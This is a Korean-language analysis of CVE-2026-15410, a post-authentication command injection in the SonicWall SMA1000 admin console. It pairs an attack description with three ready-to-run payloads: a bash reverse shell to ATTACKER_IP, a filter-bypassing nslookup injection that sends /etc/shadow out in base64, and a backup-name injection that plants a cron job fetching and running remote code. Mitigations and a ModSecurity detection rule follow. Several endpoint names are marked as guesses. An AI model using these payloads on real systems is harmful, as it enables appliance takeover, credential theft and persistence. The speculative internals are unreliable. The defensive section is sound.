CVE-2026-15410 — 기본 분석
공격 방법
① 취약 컴포넌트: SonicWall SMA1000 시리즈 어플라이언스(SMA6200/6210/7200/7210/8200v 등)의 Appliance Management Console(AMC) 관리 웹 인터페이스. 추정: AMC 는 기본적으로 8443/tcp 에서 서비스되며, 내부적으로 Perl/Python CGI 또는 Java 서블릿을 통해 시스템 명령을 실행하는 관리 유틸리티(진단·백업·인증서·네트워크 설정 등)를 노출합니다. 12.4.3-02962 이전 펌웨어의 sma6210 계열이 취약하며, AMC 기본 설정에서 관리자 계정만 로그인 가능하고 별도의 명령 실행 API 는 노출되지 않으나 내부 진단/설정 저장 루틴이 사용자 입력을 shell 컨텍스트로 전달합니다.
② 공격 전제조건: post-authentication 조건 — AMC 관리자(admin 롤) 세션 쿠키(swap 또는 AMCLOGIN 세션) 보유 필수. 네트워크 위치: AMC 관리 포트(기본 8443)에 도달 가능해야 함(내부망 또는 관리 인터페이스가 인터넷 노출된 misconfig 어플라이언스). 활성 기능: 진단(diagnostics) / 네트워크 유틸리티(ping·traceroute·nslookup) / 백업·복원 / 인증서 CSR 생성 중 최소 하나의 설정 저장 경로가 활성. CVSS 7.2(AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)로 상위 권한 필요를 반영. 추정: 자격증명 재사용·기본 비밀번호(password/사이트 표준)·SSO 통한 admin 접근·이전 CVE(예: CVE-2021-20038 계열) 로 얻은 세션 재활용이 실질적 획득 경로입니다.
③ 트리거 경로: 추정: AMC 의 /cgi-bin/ 하위 관리 스크립트(예: management.cgi, diagnostics.cgi, networkTools.cgi) 가 POST 파라미터(host, iface, filename, hostname, cert_cn, backup_name 등) 를 받아 내부 헬퍼 함수(system(), Perl qx//, Python os.popen(), Java Runtime.exec(String) 문자열 오버로드)에 문자열 concat 후 전달합니다. 화이트리스트 검증이 없고 metacharacter(;, |, `, $(...), 개행 %0a) 필터가 blacklist 방식이라 $(...) 명령치환·|· bypass 가 가능. Cookie: swap=<admin_session> + Referer: https://TARGET_HOST:8443/ 헤더가 CSRF 방어 통과에 필요하며, 인젝션된 명령은 AMC 프로세스 소유 유저(root 또는 nsm/amcadmin) 컨텍스트에서 실행됩니다.
④ 성공 시 영향: 어플라이언스 OS(Linux 기반 SMA OS) 상 임의 명령 실행 → 추정: AMC 프로세스가 root 또는 sudoers 등록 계정으로 구동되므로 사실상 어플라이언스 완전 장악. 후속 피벗: (a) /etc/shadow·EPC·SSO 통합 자격증명·LDAP/AD bind 계정·RADIUS shared secret 탈취 → 내부 AD/LDAP 로 lateral, (b) SMA 가 종단하는 VPN 터널의 세션 하이재킹·TLS 개인키 탈취 → MITM, (c) 어플라이언스에 백도어 CGI 심어 재부팅·펌웨어 업그레이드에도 잔존, (d) 관리망 세그먼트 내 다른 SonicWall/SIEM/점프박스로 pivot.
페이로드 예시
예시 1
1# 용도: 진단(ping) 필드 command substitution 을 통한 기본 RCE + 리버스셸 2curl -sk 'https://TARGET_HOST:8443/cgi-bin/diagnostics.cgi' \ 3 -H 'Cookie: swap=SESSION_COOKIE' \ 4 -H 'Referer: https://TARGET_HOST:8443/cgi-bin/main.cgi' \ 5 -H 'X-CSRF-Token: CSRF_TOKEN' \ 6 --data-urlencode 'action=ping' \ 7 --data-urlencode 'host=127.0.0.1$(bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")' \ 8 --data-urlencode 'count=1' 9# 핵심: `host` 파라미터가 `/bin/ping -c $count $host` 형태로 shell 에 concat 됨. 세미콜론·파이프 blacklist 는 있으나 `$(...)` command substitution 은 화이트리스트에 잔존 → 서브셸에서 bash TCP 리다이렉션 실행10# 확인 포인트: ATTACKER_IP:4444 에서 `nc -lvnp 4444` 리스너에 root 또는 amcadmin 쉘 수신, `id` / `uname -a` 로 SMA OS 확인예시 2
1# 용도: WAF 및 metacharacter 필터 우회를 위한 IFS·brace expansion·hex 인코딩 blind 변형 (응답 echo 없음) 2POST /cgi-bin/networkTools.cgi HTTP/1.1 3Host: TARGET_HOST:8443 4Cookie: swap=SESSION_COOKIE 5Content-Type: application/x-www-form-urlencoded 6Referer: https://TARGET_HOST:8443/cgi-bin/main.cgi 7 8action=nslookup&hostname=x%0a{curl,-s,http://ATTACKER_IP/c?d=$({cat,/etc/shadow}|{base64,-w0})}%0a&resolver=8.8.8.8 9# 핵심: `%0a`(LF) 로 명령 구분자 삽입 — `;`·`|`·`&` blacklist 우회. `{cmd,arg1,arg2}` brace expansion 은 공백 없이 명령 인자 분리 → `IFS`/공백 필터 우회. `base64 -w0` 로 개행 제거해 URL 파라미터에 안전 삽입10# 확인 포인트: ATTACKER_IP 웹로그에 `/c?d=cm9vdDokNiRy...` 형태 base64 shadow 파일 수신 → `base64 -d` 로 복원 시 `root:$6$...` 해시 확인예시 3
1# 용도: 백업 파일명 필드 통한 second-order 인젝션 → cron 등록 지속성(persistence) exfil 체인 2curl -sk 'https://TARGET_HOST:8443/cgi-bin/management.cgi' \ 3 -H 'Cookie: swap=SESSION_COOKIE' \ 4 -H 'Referer: https://TARGET_HOST:8443/cgi-bin/backup.cgi' \ 5 --data-urlencode 'action=create_backup' \ 6 --data-urlencode $'backup_name=nightly`echo${IFS}"*/5 * * * * root curl -s http://ATTACKER_IP/b|bash"${IFS}>/etc/cron.d/sma_sync`' \ 7 --data-urlencode 'include_certs=1' 8# 핵심: `backup_name` 이 즉시 shell 실행되지 않고 저장 후 백업 스크립트가 파일명을 `tar` 명령에 삽입할 때 backtick(`` ` ``) 평가 → deferred RCE. `${IFS}` 로 공백 우회, 결과물 `/etc/cron.d/sma_sync` 는 재부팅·펌웨어 업그레이드에도 잔존 가능 9# 확인 포인트: 5분 이내 ATTACKER_IP 에 GET /b 요청 도착(User-Agent: curl), `ls -la /etc/cron.d/sma_sync` 로 cron 파일 존재 확인완화 방안
- [버전업그레이드] SonicWall SMA1000 펌웨어 12.4.3-02962(또는 벤더 어드바이저리에 명시된 fixed build) 이상으로 업그레이드 — 취약 CGI 핸들러가 문자열 concat 대신 execve(argv[]) 배열 호출로 리팩터되어 payload 1·3 의
$(...)·backtick 이 shell 로 해석되지 않고 리터럴 문자열로ping인자에 전달되어unknown host로 거부. 추정: 릴리즈 노트의 'AMC diagnostics command handling hardening' 항목이 해당 패치. - [코드패치]
diagnostics.cgi/networkTools.cgi/management.cgi의 shell invocation 을system("ping -c $count $host")→subprocess.run(["/bin/ping","-c",str(count),host], shell=False, timeout=5)(Python) 또는 Perlsystem('/bin/ping','-c',$count,$host)list-form 으로 교체. host 는 사전IPy.IP()/inet_pton(AF_INET|AF_INET6)파싱 통과분만 허용 → payload 1 의127.0.0.1$(...)는 IP 파싱 실패로 거부, payload 2 의%0a{curl,...}는 LF 포함으로 hostname 정규식 거부. - [입력검증] 모든 AMC 파라미터에 화이트리스트 정규식 적용 —
host/hostname:^[A-Za-z0-9._-]{1,253}$,backup_name:^[A-Za-z0-9_-]{1,64}$,count:^[1-9][0-9]?$. 정규식 매치 실패 시 400 반환 및 감사로그. payload 1 의$·(·)·payload 2 의%0a·{·,·payload 3 의`·*·/·공백·"이 모두 문자 클래스 밖이라 즉시 거부. - [WAF·네트워크] AMC 앞단 ModSecurity 룰 및 관리 인터페이스 접근 제어 —
SecRule REQUEST_URI "@rx ^/cgi-bin/(diagnostics|networkTools|management|backup)\.cgi$" "chain,phase:2,deny,status:403,id:1015410" SecRule ARGS "@rx (\$\(|||||&&|%0[aAdD]|${IFS}|{[a-z]+,)" "t:none,t:urlDecodeUni"— payload 1 의$(, payload 2 의%0a·${IFS}·{curl,, payload 3 의 backtick·${IFS}` 문자열을 URL 디코드 후 매칭해 403. 병행: iptables/nginx 로 AMC 8443 을 관리 VLAN(10.0.0.0/24 등)으로만 제한해 세션 탈취된 admin 쿠키의 원격 재사용 차단.